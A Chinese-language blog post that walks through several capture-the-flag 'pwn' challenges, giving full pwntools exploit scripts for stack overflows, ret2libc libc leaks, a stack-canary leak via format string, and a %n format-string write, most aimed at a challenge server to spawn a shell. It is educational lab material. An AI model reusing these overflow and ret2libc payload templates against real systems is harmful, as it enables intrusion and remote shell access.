前言
十幾天沒發文了,都在寫這篇文章,我也不知道爲啥我要學pwn,當初是準備學彙編的,走上了不歸之路,嗚嗚嗚
pwn簽到題
nc 連上就有flag
pwn02
一個簡單的ret2text
首先看main函數
那麼接着跟到pwnme函數
可以看到buf只有9個字節
而fgets讀入了50個字節,所以就導致了棧溢出
這是個32位的程序所以ret地址一般是ebp+4
看到stack函數
地址
故exp爲
exp:
from pwn import *
#p = process("./pwn1")
p = remote("111.231.70.44",28010)
p.recv()
payload = b"A"*(0x9+4) + p32(0x0804850F)
p.send(payload)
p.interactive()
pwn03
tips:ret2libc3
checksec
棧不可執行
看到main函數
跟進pwnme函數
這裏s只開闢了9個字節,而fgets函數讀入了0x64個字節
所以這裏存在棧溢出,接着就需要找到system函數的地址了
很明顯這裏沒有system函數
搜索字符串沒有/bin/sh字符串,也沒有$0
這個時候就涉及到plt表和got表了
程序執行後,plt表裏是got表的地址,got表是函數的真實地址
程序還未執行時,got表裏還是plt表的地址
我們需要泄漏got表裏的地址,由於開啓了ASLR,本地和遠程的地址不一樣
但也只是針對於地址中間位進行隨機,最低的12位並不會發生改變
也就是我們需要獲取到遠程環境的函數的真實地址
進而判斷libc的版本,計算泄漏的函數got表的地址與system的偏移,然後獲取到system函數的真實地址,進而計算system函數與/bin/sh的偏移,最終getshell
所以我們首先exp的構造
首先棧溢出,利用puts函數的plt表的地址,泄漏puts函數的got表中的函數的真實地址,然後返回地址填寫main函數重新跳轉回來
from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn')
p = process('./pwn')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b"A"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
p.recvuntil('\n\n')
get_addr = u32(p.recv(4))
print(hex(get_addr))
這就是爲啥最後需要接受兩個\n\n的原因
u32是將字符轉換爲小端序
當我們知道了puts函數的真實地址之後就可以根據後三位判斷libc的版本
那麼我們繼續構造exp
首先求得libc基地址
libcbase = get_addr - 0x067360 #上圖所示
system_addr = libcbase + 0x03cd10
bin_sh = libcbase + 0x17b8cf
payload = flat([b'A'*13,system_addr,b'AAAA',bin_sh])
p.sendline(payload)
p.interactive()
完整exp:
from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn')
p = process('./pwn')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b"A"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
p.recvuntil('\n\n')
get_addr = u32(p.recv(4))
print(hex(get_addr))
libcbase = get_addr - 0x067360 #上圖所示
system_addr = libcbase + 0x03cd10
bin_sh = libcbase + 0x17b8cf
payload = flat([b'A'*13,system_addr,b'AAAA',bin_sh])
p.sendline(payload)
p.interactive()
pwn04
格式化字符串漏洞泄露canary,然後棧溢出getshell
首先checksec
棧不可執行,canary都開了
canary:
用於防止棧溢出被利用的一種方法,原理是在棧的ebp下面放一個隨機數,在函數返回之前會檢查這個數有沒有被修改,就可以檢測是否發生棧溢出了。
main函數:
vuln函數:
可以看到v2就是我們輸入的值
ebp-0ch就是canary
可以看到這裏將canary給了eax
所以我們可以通過canary賦值給eax然後下斷點,來得到canary的值
首先 b printf在printf函數這裏下個斷點
b *0x080486C9 canary賦值之後下個斷點
printf的地址爲0xffdd350
canary的值也就是ebp-0ch
查看printf的地址
發現eax 0x1c741800的偏移爲31,所以可以構造canary的值爲%31$x
而我們canary的值是由v2賦值而來的,所以計算v2與v3的偏移即可
0x70-0xc=0x64=100
現在我們覆蓋了canary的地址,離ebp還有0x8個字節,所以覆蓋返回地址的話也就是0xc個字節也就是12,最後覆蓋返回地址到getshell函數的地址即可getshell
from pwn import *
#p = process("./ex")
p =remote("111.231.70.44",28097)
p.recv()
leak_canary = "%31$x"
p.sendline(leak_canary)
canary = int(p.recv(),16)
print(hex(canary))
getshell = b"a" * 100 + p32(canary) + b"b" * 12 + p32(0x0804859B)
p.sendline(getshell)
p.interactive()
遇到這個問題的話,把exp多運行幾次
pwn05
ret2text
checksec 32位
看main函數
welcome函數
buf只有0x14個長度
而gets函數想讀多少讀多少,典型的棧溢出
控制返回地址ebp+4
而這裏有個getFlag函數
getshell
要覆蓋:
0x14個字節
exp:
from pwn import *
p = remote("111.231.70.44",28094)
payload = b"A"*(0x14+4) + p32(0x8048486)
p.send(payload)
p.interactive()
pwn06
這個就是pwn05的64位版本,所以需要平衡堆棧
原理都差不多
main函數之後看到welcome函數,然後找到system("/bin/sh")的地址
exp:
from pwn import *
p =remote("111.231.70.44",28086)
payload = b"a" * 0x14 + p64(0x40058E) + p64(0x400577)
p.send(payload)
p.interactive()
pwn07
checksec
原理和pwn03大同小異
只是64位程序是由寄存器傳參,分別是rdi,rsi,rdx,rcx,r8,r9(當參數小於7個時),所以我們需要一個gadget,pop rdi;ret
然後payload的構造和32位也不一樣
判斷libc版本32位: b"a"*offset + p32(xx@plt) + p32(ret_addr) + p32(xx@got)
getshell: b"a"*offset + p32(system_addr) + b"AAAA" + p32(str_bin_sh)
判斷libc版本64位: b"a"*offset + p64(pop_rdi) + p64(xx@got) + p64(xx@plt) + p64(ret_addr)
getshell: b"a"*offset + p64(ret) + p64(pop_rdi) + p64(str_bin_sh)
exp:
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#p = process('./ret2libc3')
p = remote('111.231.70.44',28030)
elf = ELF('./ret2libc3')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x00000000004006e3
main = elf.symbols['main']
payload = b'a'*20 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)
p.recvuntil('\x0a')
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
ret_addr = 0x00000000004006E4
libcbase = puts_addr - 0x0809c0
system_addr = libcbase + 0x04f440
bin_sh = libcbase + 0x1b3e9a
payload = flat([b'a'*20,ret_addr,pop_rdi,bin_sh,system_addr])
p.sendline(payload)
p.interactive()
01棧溢出之ret2text
又是一個簡單的棧溢出
不過是64位的
所以通常來說返回地址都是rbp+8
首先看到main函數
跟進welcome函數
雖然是說buf的大小爲0x80但是呢,我們還是自己動手試下
看來ida沒錯
然後ctfshow這個函數
那麼很簡單,直接上exp
from pwn import *
#p = process("./pwn2")
p = remote("111.231.70.44",28049)
payload = b"A"*(0x80+8) + p64(0x040063B)
p.send(payload)
p.interactive()
爲什麼這麼寫呢,因爲這裏要考慮到堆棧平衡,由於調用到ctfshow這個函數
這裏首先push了一個rbp,所以rsp-8了,因此要考慮到堆棧平衡,這裏可以跳過這個地址,或者ret一下,先彈出棧頂的值然後給eip,這不重要,重要的是ret的時候改變了棧頂的結構也就是rsp-8了,後面push ebp的時候堆棧平衡了,故可以getshell
pwn10
格式化字符串漏洞
checksec
32位,棧不可執行
看到main函數
一個很明顯的格式化字符串漏洞
目的是使num=16,從而cat flag
gdb調試
在scanf函數處打個斷點
b *0x080485C1
r
輸入
AAAA
stack 24
可以看到偏移爲7
printf的第n+1個參數就是格式化字符串的第n個參數
(空行的地方也算)
我們知道%n可以寫入輸出的字符長度的個數
%<number>$n可以修改第number個參數的值
所以這個地方我們構造%7$n
由於需要num=16,所以在我們寫入地址的4個字節除外我們還需要寫入12個字符
exp:
from pwn import *
context.log_level='debug'
p = remote('111.231.70.44',28064)
#p = process('./pwn')
#num_addr = 0x0804A030
payload = p32(0x0804A030) + cyclic(12) +b"%7$n"
p.send(payload)
p.interactive()
後言
本文只是個人的一個見解,定有所紕漏,希望讀者發現錯誤之後能及時指出,以免誤導了pwn萌新入門,點贊評論支持將是我最大動力。